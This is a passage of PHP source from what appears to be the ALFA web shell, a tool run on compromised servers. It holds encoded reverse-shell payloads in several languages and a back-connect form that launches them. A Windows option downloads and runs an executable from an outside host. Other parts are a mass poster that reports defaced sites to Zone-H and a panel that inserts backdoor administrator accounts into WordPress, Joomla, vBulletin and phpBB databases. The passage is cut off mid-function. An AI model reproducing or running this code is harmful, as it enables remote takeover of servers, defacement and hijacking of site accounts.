$python = "pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
$perl = "lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
$ruby = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$node = "nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
$c = "tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
$java = "lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">\r\n<div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
$cbArr = array("php" => "Php", "perl" => "Perl", "python" => "Python", "ruby" => "Ruby", "c" => "C", "java" => "Java", "node" => "NodeJs", "bcwin" => "Windows");
foreach ($cbArr as $key => $val) {
echo "<option value='{$key}' " . ($GLOBALS['sys'] == 'win' ? 'selected' : '') . ">{$val}</option>";
}
echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
if (isset($_POST['alfa1']) && !empty($_POST['alfa1'])) {
$lang = $_POST['alfa1'];
$ip = $_POST['alfa2'];
$port = $_POST['alfa3'];
$arg = $_POST['alfa4'] == 'bind' ? $port : $port . ' ' . $ip;
$tmpdir = ALFA_TEMPDIR;
$name = "ALFA_TEMPDIR/" . $lang . uniqid() . rand(1, 99999);
$allow = array('perl', 'ruby', 'python', 'node');
eval('$lan=$' . $lang . ';');
if (in_array($lang, $allow)) {
if (__write_file($name, __get_resource($lan))) {
if (_alfa_can_runCommand(true, true)) {
$os = $GLOBALS['sys'] != 'win' ? '1>/dev/null 2>&1 &' : '';
$out = alfaEx("{$lang} {$name} {$arg} {$os}");
if ($out == '') {
$out = "<font color='green'><center>[ Finished...! ]</center></font>";
}
echo "<pre class='ml1' style='margin-top:5px'>{$out}</pre>";
}
} else {
echo "<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>";
}
}
if ($lang == 'java' || $lang == 'c') {
$code = __get_resource($lan);
$out = nl2br(bcinit($lang, $code, '', ''));
echo "<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>";
}
if ($lang == 'bcwin') {
$alfa = new AlfaCURL();
$s = $alfa->Send('http://solevisible.com/bc/windows.exe');
$tmpdir = ALFA_TEMPDIR;
$f = @fopen("ALFA_TEMPDIR/bcwin.exe", 'w+');
@fwrite($f, $s);
@fclose($f);
$out = alfaEx("ALFA_TEMPDIR/bcwin.exe " . $_POST['alfa2'] . " " . $_POST['alfa3']);
}
if ($lang == 'php') {
echo "<pre class=ml1 style='margin-top:5px'>";
$code = __get_resource($lan);
if ($code !== false) {
$code = "\$target = \"" . $arg . "\";\n" . $code;
eval($code);
echo "<center><font color='green'>[ Finished...! ]</font></center>";
}
echo "</pre>";
}
}
echo "</div>";
alfafooter();
}
function alfazoneh()
{
alfahead();
echo "<div class=header>";
if (!function_exists('curl_version')) {
echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
}
$hackmode = array('known vulnerability (i.e. unpatched system)', 'undisclosed (new) vulnerability', 'configuration / admin. mistake', 'brute force attack', 'social engineering', 'Web Server intrusion', 'Web Server external module intrusion', 'Mail Server intrusion', 'FTP Server intrusion', 'SSH Server intrusion', 'Telnet Server intrusion', 'RPC Server intrusion', 'Shares misconfiguration', 'Other Server intrusion', 'SQL Injection', 'URL Poisoning', 'File Inclusion', 'Other Web Application bug', 'Remote administrative panel access bruteforcing', 'Remote administrative panel access password guessing', 'Remote administrative panel access social engineering', 'Attack against administrator(password stealing/sniffing)', 'Access credentials through Man In the Middle attack', 'Remote service password guessing', 'Remote service password bruteforce', 'Rerouting after attacking the Firewall', 'Rerouting after attacking the Router', 'DNS attack through social engineering', 'DNS attack through cache poisoning', 'Not available', 'Cross-Site Scripting');
$reason = array('Heh...just for fun!', 'Revenge against that website', 'Political reasons', 'As a challenge', 'I just want to be the best defacer', 'Patriotism', 'Not available');
echo "\r\n<center><br><div class=\"txtfont_header\">| Zone-h Mass Poster |</div><center><br>\r\n<form action=\"\" method=\"post\" onsubmit=\"g('zoneh',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,'>>'); return false;\">\r\n<input type=\"text\" name=\"defacer\" size=\"67\" id=\"text\" placeholder=\"ALFA TEaM 2012\" />\r\n<br>\r\n<select id=\"text\" name=\"hackmode\" style=\"width:400px;\">";
$x = 1;
foreach ($hackmode as $mode) {
echo '<option style="background-color: rgb(F, F, F);" value="' . $x . '">' . $mode . '</option>';
$x++;
}
echo "</select><br><select id=\"text\" name=\"reason\" style=\"width:200px;\">";
$x = 1;
foreach ($reason as $mode) {
echo '<option style="background-color: rgb(F, F, F);" value="' . $x . '">' . $mode . '</option>';
$x++;
}
echo "</select><br>\r\n<textarea name=\"domain\" cols=\"90\" rows=\"20\" placeholder=\"Domains...\"></textarea><br>\r\n<p><input type=\"submit\" value=\" \" name=\"go\" /></p>\r\n</form></center>";
if ($_POST['alfa5'] && $_POST['alfa5'] == '>>') {
ob_start();
$hacker = $_POST['alfa1'];
$method = $_POST['alfa2'];
$neden = $_POST['alfa3'];
$site = $_POST['alfa4'];
if (empty($hacker)) {
die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
} elseif ($method == "------------------------------------SELECT-------------------------------------") {
die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
} elseif ($neden == "------------------------------------SELECT-------------------------------------") {
die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
} elseif (empty($site)) {
die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
}
$i = 0;
$sites = explode("\n", $site);
$alfa = new AlfaCURL();
while ($i < count($sites)) {
if (substr($sites[$i], 0, 4) != "http") {
$sites[$i] = "http://" . $sites[$i];
}
$alfa->Send("http://www.zone-h.com/notify/single", "post", "defacer=" . $hacker . "&domain1=" . $sites[$i] . "&hackmode=" . $method . "&reason=" . $neden);
++$i;
}
echo __pre() . "<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
}
echo "</div>";
alfafooter();
}
function alfapwchanger()
{
alfahead();
echo "<div class=header><center><br><div class=\"txtfont_header\">| Add New Admin |</div>\r\n<center><h3>";
$vals = array('WordPress' => array('wp', 2), 'Joomla' => array('joomla', 3), 'vBulletin' => array('vb', 5), 'phpBB' => array('phpbb', 6), 'WHMCS' => array('whmcs', 7), 'MyBB' => array('mybb', 8), 'Php Nuke' => array('nuke', 9), 'Drupal' => array('drupal', 10), 'SMF' => array('smf', 11));
Alfa_Create_A_Tag('pwchanger', $vals);
echo "</h3></center>";
if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'wp') {
echo __pre() . '<center><center><div class="txtfont_header">| WordPress |</div>
<p>' . getConfigHtml('wp') . '</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
create_table($table);
echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form>";
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (ID,user_login,user_pass,user_email) values(null,'{$admin}','d4a590caacc0be55ef286e40a945ea45','{$SQL}')") or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "select ID from " . $prefix . "users where user_login='" . $admin . "'") or die(mysqli_error($conn));
$sole = @mysqli_num_rows($solevisible);
if ($sole == 1) {
$solevis = @mysqli_fetch_assoc($solevisible);
$res = $solevis['ID'];
}
$solevisible = @mysqli_query($conn, "insert into " . $prefix . "usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'" . $res . "','first_name','solevisible'),(null,'" . $res . "','last_name','solevisible'),(null,'" . $res . "','nickname','solevisible'),(null,'" . $res . "','description','solevisible'),(null,'" . $res . "','rich_editing','true'),(null,'" . $res . "','comment_shortcuts','false'),(null,'" . $res . "','admin_color','fresh'),(null,'" . $res . "','use_ssl','0'),(null,'" . $res . "','show_admin_bar_front','true'),(null,'" . $res . "','" . $prefix . "capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'" . $res . "','" . $prefix . "user_level','10'),(null,'" . $res . "','show_welcome_panel','1'),(null,'" . $res . "','" . $prefix . "dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
if ($solevisible) {
__alert('Success... ' . $admin . ' is created...');
}
}
}
if ($_POST['alfa2'] && $_POST['alfa2'] == 'joomla') {
echo __pre() . '<center><center><div class="txtfont_header">| Joomla |</div><p><p>' . getConfigHtml('joomla') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
create_table($table);
echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (id,name,username,email,password) values(null,'Super User','" . $admin . "','" . $SQL . "','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "select id from " . $prefix . "users where username='" . $admin . "'") or die(mysqli_error($conn));
$sole = @mysqli_num_rows($solevisible);
if ($sole == 1) {
$solevis = @mysqli_fetch_assoc($solevisible);
$res = $solevis['id'];
}
$solevisible = @mysqli_query($conn, "INSERT INTO " . $prefix . "user_usergroup_map (user_id,group_id) VALUES ('" . $res . "', '8')") or die(mysqli_error($conn));
if ($solevisible) {
__alert('Success... ' . $admin . ' is created...');
}
}
}
if ($_POST['alfa4'] && $_POST['alfa4'] == 'vb') {
echo __pre() . '<center><center><div class="txtfont_header">| vBulletin |<div><p>' . getConfigHtml('vb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
create_table($table);
echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_connect_error());
$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
$pw_col = @mysqli_num_rows($pw_col);
$adm_perm = "16744444";
if ($pw_col > 0) {
$solevisible = @mysqli_query($conn, "insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','{$admin}','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','{$SQL}','" . date('Y-m-d') . "','" . time() . "')") or die(mysqli_error($conn));
} else {
$adm_perm = "2143256444";
$solevisible = @mysqli_query($conn, "insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','{$admin}','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','{$SQL}','" . date('Y-m-d') . "','" . time() . "','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
}
$solevisible = @mysqli_query($conn, "select userid from {$prefix}user where username='" . $admin . "'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if ($sole == 1) {
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['userid'];
}
$solevisible = @mysqli_query($conn, "insert into {$prefix}administrator (userid,adminpermissions) values('" . $res . "','" . $adm_perm . "')") or die(mysqli_error($conn));
if ($solevisible) {
__alert('Success... ' . $admin . ' is created...');
}
}
}
if (isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb') {
echo __pre() . '<center><div class="txtfont_header">| phpBB |</div><p><p>' . getConfigHtml('phpbb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
create_table($table);
echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
$hash = md5('solevisible');
$solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET username_clean ='" . $admin . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_password ='" . $hash . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET username_clean ='" . $admin . "' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_password ='" . $hash . "' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_email ='" . $SQL . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
if ($solevisible) {
__alert('Success... ' . $admin . ' is created...');
}
}
}
if (isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs') {
echo __pre() . '<center><div class="txtfont_header">| Whmcs |</div><p><p>' . getConfigHtml('whmcs') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
